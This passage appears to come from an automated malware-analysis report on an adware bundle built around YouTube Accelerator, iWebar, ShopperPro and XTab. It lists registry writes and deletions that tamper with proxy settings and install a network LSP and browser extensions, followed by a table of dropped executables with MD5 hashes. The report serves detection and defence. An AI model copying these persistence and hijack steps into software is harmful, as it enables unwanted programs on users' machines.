[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YouTubeAcceleratorService.exe:3940 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"
"{K7C0DB872A3F777C0}" = "BD 59 26 1E 3C 17 1F CD 22 18 2A 64 22 18 AF B6"

The process YouTubeAcceleratorService.exe:3140 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

The process YouTubeAcceleratorService.exe:3612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Both"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "FC 52 99 9E 3C 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "PSEnumVariant"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "C:\Windows\SysWOW64\oleaut32.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:3316 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYWa|neorl}}KjClM"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1429064922"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "5B 3E 93 0F EF 81 A6 A0 7B 07 B5 B9 3A B1 48 A1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLVersion" = "0"
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "Qss0KrCy"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "LLKfRVSlj|rmqCKxiq`gBISIl@NTl"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "93 FD C3 E1 23 77 D0 01"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "93 FD C3 E1 23 77 D0 01"
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"
"SBAPW" = "4lh92yoP"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}Q~id|CHfwppbm[b|tiGOXLYq_@|yu"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_rX[@|iprP`LRKtAeZ~Eu"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "iVdUXeUMHZGUmhBjdg]FB"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429064931"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "[YdvjPOh|LYVLfCt`S[@@s_~DJsj|"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "3b2a9a12-ae50-485f-b698-985ad0065d83"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "}glUSfw^vYFSBYI[Zp"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process B338.tmp:3876 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FD B2 A0 D9 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "A2 C7 05 DF 23 77 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Xnxius.exe:3424 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayName" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"CrAppId" = "70121"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"Publisher" = "Webby"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Installer]
"BundledFirefox" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "8B DD 1E E8 23 77 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "D9 C3 B1 E5 23 77 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayIcon" = "%Program Files% (x86)\iWebar\utils.exe"
"UninstallString" = "%Program Files% (x86)\iWebar\Uninstall.exe /fcp=1"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayVersion" = "1.36.01.22"
"CrPublisherId" = "21836"

[HKCU\Software\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 56 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\Webby]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process taskeng.exe:3276 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{41E365CB-D8C2-46FB-94FD-9031F79F826A}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process ytaiesmt_smtyc_setup.exe:1504 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyB730.tmp\DCytaiesmt_smtyc_setup.exe,"

Dropped PE files

MD5 File path
ed57e474c52b50650d99b56ff0ba717a c:\Program Files (x86)\App Lid\Uninstall.exe
c4966e8ca696901303b501831d2b3194 c:\Program Files (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe
732802ebf4c033bc4158d8f2fd0f4958 c:\Program Files (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5.exe
10be7b092ab2f71090e06c75241c38fd c:\Program Files (x86)\App Lid\utils.exe
1047510fb6c40f4e88f5e922785835e5 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Gain\mp3gain.exe
38861e87eb0a92a4ab9c6f9bd85adab0 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Header.dll
39c1e1e0d2d021e27b2c1b2317b1cb55 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Newtonsoft.Json.dll
acc0fa9a199b8c7b691cb67e8bf9b8fe c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\SciLors GrooveDownloader.exe
e802c2a80061a44655fe10a403e45d4f c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\SciLors Logger.dll
4f251dbc4b76b2299064d8dbd486f8aa c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\SciLors UpdateCheck.dll
1d616f75ee0f2f6b5ea2b43abf7a9b35 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\SciLorsGroovesharkAPI.dll
9f8c1e4ea0e92e1f77bd280178c11b43 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\QtCore4.dll
db8001f40263792dec9f92e7704c7ba0 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\QtGui4.dll
8cf69338715127f9c1fffd8f622c0686 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\QtNetwork4.dll
f0814ba11e178370e25f403b1460fbd1 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\QtXml4.dll
ebfc2abe1627debd479009ed41cc065b c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\libeay32.dll
c4b4409f186da70fcf2bcc60d5f05489 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\libgcc_s_dw2-1.dll
cc3005ad22cdb2981396cbc9a63fd349 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\libgnurx-0.dll
a1932ae7f75dadd0fbf0e5f44448920f c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\mingwm10.dll
0780178e6001509c855f0149f8b97135 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\polipo.exe
bc9613beaf0b40d7f65e94df3336fb85 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\ssleay32.dll
35ea0113a5ff5d1608d1a80ca006e8f0 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\tor-resolve.exe
c10eb5c2b17b822fdc66d70cf4680695 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\tor.exe
0b84a6bbd496026ca534666a58df9cf0 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Tor\vidalia.exe
3444d9cbfde0ab240cdd909d8cc750d6 c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\Win32File.dll
e8478ba75efdb5616339069b3eb2b3ae c:\Program Files (x86)\SciLor's grooveshark(tm).com Downloader\unins000.exe
31418b7a1b85cae892468e54b938812b c:\Program Files (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76-4.exe
8e1bd5b939e613d31914e86cb48491bc c:\Program Files (x86)\SensePlus\044ba9ad-d071-4924-93f1-321600ec1e76-5.exe
149a63bc38d84fefd271f33e0b38e631 c:\Program Files (x86)\SensePlus\Uninstall.exe
57ad7982aecfe79b8efb41e15771dc59 c:\Program Files (x86)\SensePlus\utils.exe
03d52c1564034e86a8f2f14c847ef418 c:\Program Files (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe
137706e7baca1234d81247066b4c3532 c:\Program Files (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.sys
03d52c1564034e86a8f2f14c847ef418 c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
137706e7baca1234d81247066b4c3532 c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
694de6e51f903316c03dc30cecbb7560 c:\Program Files (x86)\ShopperPro\SPRemove.exe
d51f992ad812a02bea7c3bf64e01c1d2 c:\Program Files (x86)\ShopperPro\ShopperPro.dll
ee76ebf4b31c361e257dc4e07a87ee2a c:\Program Files (x86)\ShopperPro\ShopperPro.exe
61fb66630072b52f164b6b392a19b901 c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
3770caa965eb14b23c4266cf3dab1659 c:\Program Files (x86)\ShopperPro\Updater.exe
33a33e52e9c7db9063cbac82fa9e28d4 c:\Program Files (x86)\XTab\BrowerWatchCH.dll
9def3a62487338e892ce4fffa8efa5d2 c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013 c:\Program Files (x86)\XTab\BrowserAction.dll
7e4e734d5adbbc4026a5db2e63c29d40 c:\Program Files (x86)\XTab\CmdShell.exe
8c15f35314eadbe08375dd47ad62439a c:\Program Files (x86)\XTab\HPNotify.exe
e6aac50b9fc19546c5e524c47be5d66d c:\Program Files (x86)\XTab\IeWatchDog.dll
e98c5cfa4051bfa3e2cb0afb10ff4cab c:\Program Files (x86)\XTab\ProtectService.exe
fc60e0ceb67207edd48ed4acbea5de98 c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files (x86)\XTab\msvcr110.dll
ff73e8efe2b7f0f134dda89694299ff5 c:\Program Files (x86)\XTab\uninstall.exe
99762975ae78b591fa6699cc460bb5f7 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
43901c75bcf54be31a8f15bae77a3865 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
e0e06dca0f07ebaba0545450d0f69ade c:\Program Files (x86)\YTAHelper\YTAHelper.dll
c254e02e1b6fe3b7f33426bebb9e6af2 c:\Program Files (x86)\YTAHelper\YTAHelper.exe
a3b46b4c5d373c51e6e489bb603dba9f c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
76f41068f2fa82523736c58c6a6a27db c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072 c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
850e72f521667f04a1fa06bc92311b37 c:\Program Files (x86)\YouTube Accelerator\Updater.exe
29605c3fee628f62dea028a354425e3f c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
4a53830f2e9fa95a7873dcebd0249e80 c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
46e2c40e8adae15d5e3a164e7b65fe40 c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31 c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd c:\Program Files (x86)\YouTube Accelerator\cabex.dll
f756379f1f0fbad6bcf53170aa804918 c:\Program Files (x86)\YouTube Accelerator\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2 c:\Program Files (x86)\YouTube Accelerator\helper.dll
c014a1dddb4677f54f88efaaa492ddce c:\Program Files (x86)\YouTube Accelerator\ipc.dll
f6ac21939884df5c0201cdf1ead06b90 c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
2c3a467735e2d937ce44034869b43231 c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Program Files (x86)\YouTube Accelerator\sporder.dll
5e2c0de2f0f15923154293dea89d196b c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e0024c585767d4851de5e7331ac91ee5 c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62 c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
accd4b3a6014113e448f0aa086060dfd c:\Program Files (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe
07857caca79624e9289e4ab2d182d772 c:\Program Files (x86)\iWebar\671594b7-fc54-4f9f-982b-96db5cfc3669-5.exe
149a63bc38d84fefd271f33e0b38e631 c:\Program Files (x86)\iWebar\Uninstall.exe
d2f12e3c50a97dbd275383613f153b28 c:\Program Files (x86)\iWebar\utils.exe
80f810026050336c209fc45d4f94b636 c:\Program Files\Common Files\ShopperPro\spbia.exe
f20635d0c8fbf09418018bd5ed1759d6 c:\Program Files\Common Files\ShopperPro\spbici32.dll
f6ff18a1af9e05327a42495db8b0e4e8 c:\Program Files\Common Files\ShopperPro\spbici64.dll
